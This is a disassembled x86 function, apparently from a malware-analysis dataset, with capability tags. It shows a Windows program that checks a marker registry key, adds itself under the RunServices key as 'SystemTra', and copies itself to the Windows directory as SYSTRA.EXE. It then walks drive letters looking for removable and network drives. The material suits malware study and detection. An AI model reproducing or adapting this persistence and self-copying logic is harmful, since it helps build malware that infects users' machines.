Function at 0x403e7d
Capabilities:
Copy file
Get common file path
Get disk information
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x63c
mov eax, dword [0x420200]
push ebx
push esi
push edi
mov dword [ebp - 0xc], eax
push 0x10e
lea eax, [ebp - 0x128]
push 0
push eax
mov dword [ebp - 0x18], 1
call fcn.00408800
add esp, 0xc
mov esi, 0x104
lea eax, [ebp - 0x128]
push esi
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, 0x42e588
push 0x42e794
mov edi, 0x42e690
push ebx
lea eax, [ebp - 0x128]
push edi
push eax
call fcn.00403a80
add esp, 0x10
call fcn.00403bc5
lea eax, [ebp - 8]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionZMXLIB1
push reloc.WSOCK32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x403f0e
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4040af
and byte [ebp - 1], 0
mov al, byte [ebp - 1]
push 0x42e794
push ebx
add al, 0x43
push edi
push eax
call fcn.00403d23
add esp, 0x10
test eax, eax
jne 0x403f34
inc byte [ebp - 1]
cmp byte [ebp - 1], 0x18
jl 0x403f12
lea eax, [ebp - 8]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRunServices
push reloc.WSOCK32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x403f7b
lea eax, [ebp - 0x10]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersion
push reloc.WSOCK32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [ebp - 8]
push eax
push str.runServices
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x538]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x538]
push eax
lea eax, [ebp - 0x330]
push str._sSysTra.EXE
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], esi
push eax
lea eax, [ebp - 0x63c]
push eax
lea eax, [ebp - 0x18]
push eax
push 0
push str.SystemTra
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x403fe4
lea eax, [ebp - 0x330]
push eax
lea eax, [ebp - 0x63c]
push eax
call fcn.0040ce80
pop ecx
test eax, eax
pop ecx
je 0x404014
lea eax, [ebp - 0x330]
push eax
call fcn.00408780
pop ecx
push eax
lea eax, [ebp - 0x330]
push eax
push 1
push 0
push str.SystemTra
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x538]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x330]
push eax
push 0x42e794
push ebx
push edi
call fcn.00403b67
lea eax, [ebp - 0x538]
push str.SYSTRA.EXE
push eax
call fcn.00408870
add esp, 0x18
lea eax, [ebp - 0x538]
push 0
push eax
lea eax, [ebp - 0x330]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
xor bl, bl
mov al, bl
add al, 0x43
mov byte [ebp - 0xc], al
lea eax, [ebp - 0xc]
push eax
call esi
cmp eax, 2
je 0x404084
lea eax, [ebp - 0xc]
push eax
call esi
cmp eax, 4
jne 0x40408e
lea eax, [ebp - 0xc]
push eax
call fcn.004040b6
pop ecx
cmp bl, 2
jle 0x4040a8
lea eax, [ebp - 0xc]
push eax
call esi
cmp eax, 3
jne 0x4040a8
lea eax, [ebp - 0xc]
push eax
call fcn.004040b6
pop ecx
inc bl
cmp bl, 0x18
jl 0x404067
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret